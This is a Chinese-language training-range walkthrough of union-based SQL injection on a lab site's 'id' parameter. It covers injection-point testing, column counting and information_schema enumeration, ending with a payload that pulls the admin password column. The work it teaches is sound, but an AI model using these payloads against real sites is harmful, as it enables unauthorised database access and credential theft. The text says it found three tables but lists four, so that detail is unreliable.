封神台靶场实战第一章——SQL注入攻击原理
SQL注入攻击原理 实战演练
进入传送门:
SQL注入,首先我们要满足两个关键点:
- 参数用户可控
- 参数带入数据库查询
先证明参数是用户可控的
更改页面
id=2或
id=3
至此说明参数是用户可控的。
接下来证明参数带入数据库查询
输入
id=1’
页面回显不正常,由此可证,输入数据确实带入数据库查询。
接下来我们进行注入
一.判断注入点:
输入
id=1 and 1=1
页面回显正常
输入
id=1 and 1=2
页面回显错误。
由此判断,此页面确实存在注入点。
二.判断字段数
id=1 order by 1 回显正常
id=1 order by 2 回显正常
id=1 order by 3 回显异常
此网页使用表里的字段数为2。
三.判断回显点
id=1 and 1=2 union select 1,2
找库:
id=1 and 1=2 union select 1,database()
database()函数表示查询此表当前使用数据库的名称。
当前网站使用数据库名称为maoshe
id=1 and 1=2 union select 1,version()
version()函数表示查询版本号。
版本号为5.5.53
id=1 and 1=2 union select 1,group_concat(schema_name) from information_schema.schemata
在mysql中,默认information_schema总库,其中包含所有的库名,表名,字段名…
schema_name是库名,information_schema.schemata是总库里的所有库。
这段的意思是从information_schema.schemata总库的所有库中列出所有的库名。
查询到当前数据库有三个库:information_schema、maoshe、test
找表:
id=1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘maoshe’
table_name是表名,information_schema.tables是总库里的所有表。
这段意思是从information_schema.tables总库的所有表中列出在maoshe库里的所有表名。
在maoshe库里查询到三个表:admin、dirs、news、xss
找字段:
id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema=‘maoshe’ and table_name=‘admin’
column_name是字段名, information_schema.columns 是总库里的所有字段。
这段意思是从information_schema.columns总库里的所有字段中列出在maoshe库里且在admin表里的所有字段名。
查询到三个字段:Id、username、password
四:查询相关内容
我们需要拿到管理员的密码,所以我们需要查询password:
id=1 and 1=2 union select 1,password from admin